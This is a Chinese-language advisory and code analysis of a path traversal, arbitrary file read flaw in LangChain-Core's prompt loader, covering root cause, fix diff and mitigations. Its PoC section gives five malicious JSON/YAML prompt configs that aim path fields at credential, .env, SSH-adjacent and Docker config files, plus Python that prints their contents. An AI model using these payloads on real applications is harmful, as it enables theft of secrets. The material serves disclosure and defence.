CVE-2026-34070 LangChain-Core路径遍历漏洞,任意文件读取附PoC
LangChain-Core 1.2.21 及更早版本中,langchain_core.prompts.loading 模块存在严重的路径遍历漏洞。该模块的 Prompt 加载功能 (load_prompt()、load_prompt_from_config()) 在从 JSON/YAML 配置文件中加载 Prompt 模板时,直接使用配置中指定的文件路径读取文件内容,未对路径进行任何安全验证。
- 漏洞描述
LangChain-Core 1.2.21 及更早版本中,langchain_core.prompts.loading模块存在严重的路径遍历漏洞。该模块的 Prompt 加载功能 (load_prompt()、load_prompt_from_config()) 在从 JSON/YAML 配置文件中加载 Prompt 模板时,直接使用配置中指定的文件路径读取文件内容,未对路径进行任何安全验证。
漏洞核心由三层关键缺陷构成:
_load_template()无路径验证:直接通过Path(config.pop("template_path")).read_text()读取任意路径的文件内容,不检查是否为绝对路径或包含..目录遍历序列。_load_examples()无路径验证:直接通过Path(config["examples"]).open()打开任意路径的 JSON/YAML 文件,攻击者可以读取任意.json或.yaml/.yml文件内容。_load_few_shot_prompt()嵌套加载无验证:example_prompt_path字段允许指定任意路径加载嵌套的 Prompt 配置,且递归调用load_prompt()进一步扩大攻击面。
攻击者可以构造恶意的 Prompt 配置文件(JSON/YAML),通过template_path、examples、example_prompt_path等字段指向系统敏感文件(如/etc/passwd、/etc/shadow、环境变量文件、SSH 密钥、数据库凭证等),当应用程序使用load_prompt()或load_prompt_from_config()加载该配置时,敏感文件内容将被读取并注入到 Prompt 模板中,导致任意文件读取。
- 系统架构概述
2.1 Prompt 配置加载模型
LangChain-Core 提供两种 Prompt 配置加载方式:
Prompt 配置加载入口 load_prompt(path) ← 从文件路径加载 Prompt 配置 load_prompt_from_config(config) ← 从 dict 加载 Prompt 配置 ↓ _load_prompt(config) ← 普通 Prompt (type: "prompt") _load_few_shot_prompt(config) ← Few-Shot Prompt (type: "few_shot") _load_chat_prompt(config) ← Chat Prompt (type: "chat")2.2 关键目录结构
langchain-core-1.2.21/libs/core/ ├── langchain_core/ │ ├── prompts/ │ │ ├── __init__.py │ │ ├── base.py # BasePromptTemplate (含 save() 方法) │ │ ├── chat.py # ChatPromptTemplate │ │ ├── few_shot.py # FewShotPromptTemplate │ │ ├── few_shot_with_templates.py # FewShotPromptWithTemplates │ │ ├── loading.py # 漏洞核心文件 (load_prompt / load_prompt_from_config) │ │ ├── prompt.py # PromptTemplate │ │ └── string.py # StringPromptTemplate2.3 涉及数据模型
Prompt 配置格式 —_type: "prompt"(普通模板)
{ "_type": "prompt", "input_variables": ["query"], "template": "Answer: {query}", "template_path": "../../etc/passwd" // ★ 攻击向量 1 }Prompt 配置格式 —_type: "few_shot"(Few-Shot 模板)
{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", ... }, "examples": "/etc/shadow", // ★ 攻击向量 2 (读取任意 .json/.yaml) "example_prompt_path": "/etc/config.json", // ★ 攻击向量 3 "prefix_path": "../../sensitive.txt", // ★ 攻击向量 4 "suffix_path": "../../secret.txt" // ★ 攻击向量 5 }- 漏洞根因分析 (三个缺陷)
3.1 缺陷一:_load_template()直接从用户指定路径读取文件
文件:libs/core/langchain_core/prompts/loading.py:44-61
def _load_template(var_name: str, config: dict) -> dict: """Load template from the path if applicable.""" # Check if template_path exists in config. if f"{var_name}_path" in config: # If it does, make sure template variable doesn't also exist. if var_name in config: msg = f"Both `{var_name}_path` and `{var_name}` cannot be provided." raise ValueError(msg) # Pop the template path from the config. template_path = Path(config.pop(f"{var_name}_path")) # 无任何路径验证! # Load the template. if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8") # 任意 .txt 文件读取! else: raise ValueError # Set the template variable to the extracted variable. config[var_name] = template # 文件内容直接注入 Prompt 模板 return config缺陷:
1.Path(config.pop("template_path"))无验证:接受绝对路径如/etc/passwd;
2.无..遍历检查:接受../../etc/passwd等遍历路径;
3.template_path.read_text()直接读取:文件内容被注入到 Prompt 模板中;
4.仅限.txt后缀:可读取任何.txt文件 (日志、配置、密钥等);
5.该函数被多处调用:template_path、prefix_path、suffix_path均可利用。
3.2 缺陷二 :_load_examples()从用户指定路径读取 JSON/YAML 文件
文件:libs/core/langchain_core/prompts/loading.py:64-82
def _load_examples(config: dict) -> dict: """Load examples if necessary.""" if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) # 无任何路径验证 with path.open(encoding="utf-8") as f: # 任意文件打开 if path.suffix == ".json": examples = json.load(f) # 读取任意 .json 文件 elif path.suffix in {".yaml", ".yml"}: examples = yaml.safe_load(f) # 读取任意 .yaml 文件 else: msg = "Invalid file format. Only json or yaml formats are supported." raise ValueError(msg) config["examples"] = examples # 文件内容注入配置 else: msg = "Invalid examples format. Only list or string are supported." raise ValueError(msg) return config缺陷:
1.Path(config["examples"])无验证:接受绝对路径和..遍历;
2.支持.json和.yaml/.yml:攻击面更广,可读取配置文件、Kubernetes 配置等;
3.json.load(f)/yaml.safe_load(f):文件内容被解析后返回,可暴露结构化数据;
4.返回数据注入config["examples"]:敏感数据可能出现在后续 LLM 调用中。
5.3 缺陷三:_load_few_shot_prompt()嵌套路径加载无验证
文件:libs/core/langchain_core/prompts/loading.py:95-114
def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: """Load the "few shot" prompt from the config.""" # Load the suffix and prefix templates. config = _load_template("suffix", config) # suffix_path 可被利用 config = _load_template("prefix", config) # prefix_path 可被利用 # Load the example prompt. if "example_prompt_path" in config: if "example_prompt" in config: msg = ( "Only one of example_prompt and example_prompt_path should " "be specified." ) raise ValueError(msg) config["example_prompt"] = load_prompt(config.pop("example_prompt_path")) # 递归加载 else: config["example_prompt"] = load_prompt_from_config(config["example_prompt"]) # Load the examples. config = _load_examples(config) # examples 路径可被利用 config = _load_output_parser(config) return FewShotPromptTemplate(**config)缺陷:
1._load_template("suffix", config):suffix_path字段可指向任意.txt文件
2._load_template("prefix", config):prefix_path字段可指向任意.txt文件
3.load_prompt(config.pop("example_prompt_path")):递归调用,可加载任意路径的 JSON/YAML 配置文件
4._load_examples(config):examples字段可指向任意.json/.yaml文件
3.4 入口函数无路径保护
文件:libs/core/langchain_core/prompts/loading.py:20-41,137-157, 160-177
load_prompt()— 公共 API 入口
def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: """Unified method for loading a prompt from LangChainHub or local filesystem.""" if isinstance(path, str) and path.startswith("lc://"): msg = "Loading from the deprecated github-based Hub is no longer supported..." raise RuntimeError(msg) return _load_prompt_from_file(path, encoding) # 直接传递,无任何路径验证_load_prompt_from_file()— 文件加载
def _load_prompt_from_file( file: str | Path, encoding: str | None = None ) -> BasePromptTemplate: """Load prompt from file.""" file_path = Path(file) if file_path.suffix == ".json": with file_path.open(encoding=encoding) as f: config = json.load(f) # 解析 JSON 配置 elif file_path.suffix.endswith((".yaml", ".yml")): with file_path.open(encoding=encoding) as f: config = yaml.safe_load(f) # 解析 YAML 配置 else: msg = f"Got unsupported file type {file_path.suffix}" raise ValueError(msg) return load_prompt_from_config(config) # 配置中的路径字段均无验证load_prompt_from_config()— 配置分发
def load_prompt_from_config(config: dict) -> BasePromptTemplate: """Load prompt from config dict.""" if "_type" not in config: logger.warning("No `_type` key found, defaulting to `prompt`.") config_type = config.pop("_type", "prompt") if config_type not in type_to_loader_dict: msg = f"Loading {config_type} prompt not supported" raise ValueError(msg) prompt_loader = type_to_loader_dict[config_type] return prompt_loader(config) # 分发到 _load_prompt / _load_few_shot_prompt # 无 allow_dangerous_paths 保护- 完整攻击链
Step 1: 构造恶意 Prompt 配置文件
创建包含路径遍历字段的 JSON/YAML 文件: { "_type": "prompt", "input_variables": [], "template_path": "/etc/passwd" }Step 2: 触发 Prompt 加载
通过应用接口提交恶意配置: - 上传恶意 Prompt 配置文件 - 通过 API 传递恶意 config dict - 通过 LLM Agent 工具调用触发加载Step 3: 服务端处理链
loading.py:137 -> load_prompt(path) loading.py:157 -> _load_prompt_from_file(path) loading.py:169 -> config = json.load(f) loading.py:177 -> load_prompt_from_config(config) loading.py:40 -> prompt_loader = _load_prompt loading.py:41 -> _load_prompt(config) loading.py:120 -> _load_template("template", config) loading.py:53 -> template_path = Path("/etc/passwd") loading.py:56 -> template_path.read_text() ## 敏感文件在此被读取- 关键函数调用链
5.1 攻击入口函数 —load_prompt()
文件:libs/core/langchain_core/prompts/loading.py:137-157
def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: """Unified method for loading a prompt from LangChainHub or local filesystem.""" if isinstance(path, str) and path.startswith("lc://"): msg = ( "Loading from the deprecated github-based Hub is no longer supported. " "Please use the new LangChain Hub at https://smith.langchain.com/hub " "instead." ) raise RuntimeError(msg) return _load_prompt_from_file(path, encoding) # 无路径验证直接传递5.2 文件加载 —_load_prompt_from_file()
文件:libs/core/langchain_core/prompts/loading.py:160-177
def _load_prompt_from_file( file: str | Path, encoding: str | None = None ) -> BasePromptTemplate: """Load prompt from file.""" file_path = Path(file) if file_path.suffix == ".json": with file_path.open(encoding=encoding) as f: config = json.load(f) # 解析攻击者控制的 JSON elif file_path.suffix.endswith((".yaml", ".yml")): with file_path.open(encoding=encoding) as f: config = yaml.safe_load(f) # 解析攻击者控制的 YAML else: msg = f"Got unsupported file type {file_path.suffix}" raise ValueError(msg) return load_prompt_from_config(config) # 配置中路径字段不受限5.3 配置分发 —load_prompt_from_config()
文件:libs/core/langchain_core/prompts/loading.py:20-41
def load_prompt_from_config(config: dict) -> BasePromptTemplate: """Load prompt from config dict.""" if "_type" not in config: logger.warning("No `_type` key found, defaulting to `prompt`.") config_type = config.pop("_type", "prompt") if config_type not in type_to_loader_dict: msg = f"Loading {config_type} prompt not supported" raise ValueError(msg) prompt_loader = type_to_loader_dict[config_type] return prompt_loader(config) # 无 allow_dangerous_paths5.4 Sink 点 1 —_load_template()
文件:libs/core/langchain_core/prompts/loading.py:44-61
def _load_template(var_name: str, config: dict) -> dict: if f"{var_name}_path" in config: if var_name in config: raise ValueError(...) template_path = Path(config.pop(f"{var_name}_path")) # 无验证 if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8") # SINK: 任意文件读取 else: raise ValueError config[var_name] = template # 内容注入模板 return config5.5 Sink 点 2 —_load_examples()
文件:libs/core/langchain_core/prompts/loading.py:64-82
def _load_examples(config: dict) -> dict: if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) # 无验证 with path.open(encoding="utf-8") as f: # SINK: 任意文件打开 if path.suffix == ".json": examples = json.load(f) elif path.suffix in {".yaml", ".yml"}: examples = yaml.safe_load(f) config["examples"] = examples # 内容注入配置 return config5.6 Sink 点 3 —_load_few_shot_prompt()中的递归加载
文件:libs/core/langchain_core/prompts/loading.py:95-114
def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: config = _load_template("suffix", config) # SINK via suffix_path config = _load_template("prefix", config) # SINK via prefix_path if "example_prompt_path" in config: config["example_prompt"] = load_prompt( config.pop("example_prompt_path") # SINK: 递归加载任意配置文件 ) else: config["example_prompt"] = load_prompt_from_config(config["example_prompt"]) config = _load_examples(config) # SINK via examples path config = _load_output_parser(config) return FewShotPromptTemplate(**config)- 修复版本 ( v1.2.22 )
6.1 核心修复:新增_validate_path()函数
文件:libs/core/langchain_core/prompts/loading.py(v1.2.22 新增)
def _validate_path(path: Path) -> None: """Reject absolute paths and ``..`` traversal components. Args: path: The path to validate. Raises: ValueError: If the path is absolute or contains ``..`` components. """ if path.is_absolute(): msg = ( f"Path '{path}' is absolute. Absolute paths are not allowed " f"when loading prompt configurations to prevent path traversal " f"attacks. Use relative paths instead, or pass " f"`allow_dangerous_paths=True` if you trust the input." ) raise ValueError(msg) if ".." in path.parts: msg = ( f"Path '{path}' contains '..' components. Directory traversal " f"sequences are not allowed when loading prompt configurations. " f"Use direct relative paths instead, or pass " f"`allow_dangerous_paths=True` if you trust the input." ) raise ValueError(msg)6.2 修复点
修复点 1:_load_template()增加路径验证
- def _load_template(var_name: str, config: dict) -> dict: + def _load_template( + var_name: str, config: dict, *, allow_dangerous_paths: bool = False + ) -> dict: """Load template from the path if applicable.""" if f"{var_name}_path" in config: if var_name in config: raise ValueError(...) template_path = Path(config.pop(f"{var_name}_path")) + if not allow_dangerous_paths: + _validate_path(template_path) # 新增路径验证 if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8")修复点 2:_load_examples()增加路径验证
- def _load_examples(config: dict) -> dict: + def _load_examples(config: dict, *, allow_dangerous_paths: bool = False) -> dict: """Load examples if necessary.""" if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) + if not allow_dangerous_paths: + _validate_path(path) # 新增路径验证 with path.open(encoding="utf-8") as f:修复点 3:_load_few_shot_prompt()增加路径验证
- def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: + def _load_few_shot_prompt( + config: dict, *, allow_dangerous_paths: bool = False + ) -> FewShotPromptTemplate: # ... - config = _load_template("suffix", config) - config = _load_template("prefix", config) + config = _load_template("suffix", config, allow_dangerous_paths=allow_dangerous_paths) + config = _load_template("prefix", config, allow_dangerous_paths=allow_dangerous_paths) if "example_prompt_path" in config: - config["example_prompt"] = load_prompt(config.pop("example_prompt_path")) + example_prompt_path = Path(config.pop("example_prompt_path")) + if not allow_dangerous_paths: + _validate_path(example_prompt_path) # 新增路径验证 + config["example_prompt"] = load_prompt( + example_prompt_path, allow_dangerous_paths=allow_dangerous_paths + )修复点 4:load_prompt_from_config()增加allow_dangerous_paths参数
+ @deprecated(since="1.2.21", removal="2.0.0", ...) - def load_prompt_from_config(config: dict) -> BasePromptTemplate: + def load_prompt_from_config( + config: dict, *, allow_dangerous_paths: bool = False + ) -> BasePromptTemplate: # ... prompt_loader = type_to_loader_dict[config_type] - return prompt_loader(config) + return prompt_loader(config, allow_dangerous_paths=allow_dangerous_paths)修复点 5:load_prompt()增加allow_dangerous_paths参数
+ @deprecated(since="1.2.21", removal="2.0.0", ...) - def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: + def load_prompt( + path: str | Path, + encoding: str | None = None, + *, + allow_dangerous_paths: bool = False, + ) -> BasePromptTemplate: # ... - return _load_prompt_from_file(path, encoding) + return _load_prompt_from_file( + path, encoding, allow_dangerous_paths=allow_dangerous_paths + )- 漏洞利用方式 (PoC)
7.1 条件
- 目标应用使用 langchain-core 版本 <= 1.2.21
- 目标应用调用了
load_prompt()或load_prompt_from_config()处理用户可控的配置 - 攻击者能够提交/上传恶意 Prompt 配置文件,或直接提供恶意 config dict
7.2 PoC类型
PoC 1: 通过template_path读取系统文件
恶意配置文件(malicious_prompt.json):
{ "_type": "prompt", "input_variables": [], "template_path": "/etc/passwd" }注意:_load_template()要求文件后缀为.txt,因此直接读取/etc/passwd会因后缀检查失败。可通过.txt后缀的敏感文件利用,或结合符号链接绕过。
针对.txt后缀限制的有效目标:
{ "_type": "prompt", "input_variables": [], "template_path": "/app/.env.txt" }利用代码(在使用 langchain-core <= 1.2.21 的应用中):
from langchain_core.prompts.loading import load_prompt # 攻击者上传的恶意配置文件 prompt = load_prompt("malicious_prompt.json") print(prompt.template) # 输出目标文件内容PoC 2: 通过examples路径读取 JSON/YAML 文件
恶意配置文件(steal_config.json):
{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", "input_variables": ["input", "output"], "template": "{input}: {output}" }, "examples": "/app/config/database.json" }利用代码:
from langchain_core.prompts.loading import load_prompt prompt = load_prompt("steal_config.json") # prompt.examples 现在包含 /app/config/database.json 的内容 print(prompt.examples) # 泄露数据库配置、凭证等PoC 3: 通过..目录遍历读取敏感文件
恶意配置文件(traversal.json):
{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", "input_variables": ["input", "output"], "template": "{input}: {output}" }, "examples": "../../../../.docker/config.json" }PoC 4: 通过example_prompt_path递归加载配置
恶意配置文件(recursive.json):
{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt_path": "/app/secrets/prompt_with_secrets.json", "examples": [{"input": "a", "output": "b"}] }PoC 5: 组合攻击 — Few-Shot 配置全字段利用
恶意配置文件(full_attack.yaml):
_type: few_shot input_variables: - query prefix_path: "../../app/logs/access.txt" suffix_path: "../../app/secrets/api_keys.txt" example_prompt_path: "/app/config/prompt.json" examples: "/app/config/credentials.json"此攻击同时利用4 个路径字段读取不同的敏感文件。
- 修复方案分析
8.1 推荐升级路径
| 漏洞版本 | 升级至 | 命令 |
| <= 1.2.21 | 1.2.22 | pip install langchain-core>=1.2.22 |
8.2 临时缓解措施
如无法立即升级,可按优先级采取以下措施:
缓解 1 : 手工补丁 — 在调用前验证路径
# 在应用层包装 load_prompt 调用 from pathlib import Path def safe_load_prompt(path, base_dir=None): """安全包装,拒绝路径遍历""" path = Path(path) if base_dir: # 确保路径在允许的目录内 resolved = (Path(base_dir) / path).resolve() if not str(resolved).startswith(str(Path(base_dir).resolve())): raise ValueError(f"Path traversal detected: {path}") # 检查配置文件内容中的路径字段 import json with open(path) as f: config = json.load(f) dangerous_fields = ['template_path', 'prefix_path', 'suffix_path', 'example_prompt_path'] for field in dangerous_fields: if field in config: field_path = Path(config[field]) if field_path.is_absolute() or '..' in field_path.parts: raise ValueError(f"Dangerous path in {field}: {config[field]}") if isinstance(config.get('examples'), str): ex_path = Path(config['examples']) if ex_path.is_absolute() or '..' in ex_path.parts: raise ValueError(f"Dangerous examples path: {config['examples']}") from langchain_core.prompts.loading import load_prompt return load_prompt(path)缓解 2 (迁移): 使用dumpd/load替代save/load_prompt
# 推荐的安全序列化方式 from langchain_core.load import dumpd, load from langchain_core.prompts import PromptTemplate # 序列化 prompt = PromptTemplate.from_template("Hello {name}!") serialized = dumpd(prompt) # 反序列化 restored = load(serialized)缓解 3: 输入验证
# 拒绝用户上传的配置中的路径字段 BLOCKED_FIELDS = {'template_path', 'prefix_path', 'suffix_path', 'example_prompt_path'} def sanitize_prompt_config(config: dict) -> dict: """移除配置中的所有路径字段""" for field in BLOCKED_FIELDS: if field in config: raise ValueError(f"Field '{field}' is not allowed in user-provided config") if isinstance(config.get('examples'), str): raise ValueError("String 'examples' paths are not allowed") return config缓解 4 : 文件系统隔离
- 使用容器化部署,限制文件系统访问范围
- 使用 AppArmor/SELinux 限制进程的文件读取权限
- 使用 chroot/namespace 隔离
- *
- 总结
总结发现:
- 5 个独立的攻击向量—
template_path、prefix_path、suffix_path、examples(字符串路径)、example_prompt_path均可被利用进行路径遍历和任意文件读取。 - v1.2.22 已完整修复— 新增
_validate_path()函数拒绝绝对路径和..目录遍历,所有路径加载函数新增allow_dangerous_paths参数 (默认False),并将load_prompt/save标记为弃用。 - 影响广泛— langchain-core 是 LangChain 生态的基础库,所有使用
load_prompt()或load_prompt_from_config()加载不可信 Prompt 配置的下游应用均受影响。
任何能够向使用 langchain-core <= 1.2.21 的应用提交恶意 Prompt 配置 (JSON/YAML) 的攻击者,均可通过在template_path、examples、example_prompt_path、prefix_path、suffix_path等字段中指定绝对路径或..遍历序列,读取服务器文件系统上的任意文件内容。
强烈建议立即升级至 langchain-core >= 1.2.22。
